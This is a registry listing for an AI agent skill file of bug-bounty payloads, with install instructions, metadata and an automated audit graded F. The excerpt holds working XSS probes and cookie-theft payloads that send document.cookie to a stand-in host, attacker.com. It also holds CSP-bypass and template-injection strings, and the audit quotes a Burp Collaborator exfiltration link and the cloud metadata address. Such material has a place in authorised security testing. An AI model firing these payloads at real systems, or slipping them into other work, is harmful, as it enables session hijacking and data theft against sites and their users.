security-arsenal SKILL.md skillF
security-arsenal from novaestellar/novahaku is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add novaestellar/novahaku/security-arsenal@git:20260927.e881f8aPins git:20260927.e881f8a in mdr.lock. Pin the fingerprint instead.
- Audit grade
- F, 14 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- novaestellar/novahaku
- Path
testing/hunt/security-arsenal/SKILL.md- Versions recorded
- 1
- Latest version
- git:20260927.e881f8a, committed Sep 27, 2026
- Size
- 28,981 bytes
- Repository stars
- 28
- License
- MIT
Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS/SSRF/SQLi/XXE/NoSQLi/command injection/SSTI/IDOR/path-traversal/HTTP smuggling/WebSocket/MFA bypass, or bypass techniques. Submittability and the always-rejected / what-NOT-to-submit decision are owned by triage-validation.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# SECURITY ARSENAL
Payloads, bypass tables, wordlists, and submission rules.
---
## XSS PAYLOADS
### Basic Probes
```javascript
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)
```
### Cookie Theft (proof of impact)
```javascript
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
```
### CSP Bypass Techniques
```javascript
// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>
// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}
// React dangerouslySetInnerHTML reflection
// Vue v-html binding
// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
// Polyglot (works in HTML/JS/CSS context)
…Read the whole file at its exact version.
How to install
mdr add novaestellar/novahaku/security-arsenal@sha256:a20f609fcfbaca84The line at the top of this page pins the label git:20260927.e881f8a, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_ud6vlngidwzbgkkp)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 1 version of this file, committed on Sep 27, 2026.
Audit of the latest version
- FAIL, critical: No link to an exfiltration or paste host (matched: http://attacker.burpcollaborator)
- fail: No link to a raw IP address (matched: http://169.254.169.254)
- fail: No script tag (matched: <script)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (28981 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
novaestellar/novahaku · 28 stars · license MIT · pushed 2026-09-28 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_ud6vlngidwzbgkkp GET https://markdownregistry.com/api/v1/resolve?ref=novaestellar/novahaku/security-arsenal GET https://markdownregistry.com/api/v1/blob/a20f609fcfbaca84e71a268a9a819aa15f6b49490021d2a403581065f5e17189
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.
More from novaestellar/novahaku
Every file in novaestellar/novahaku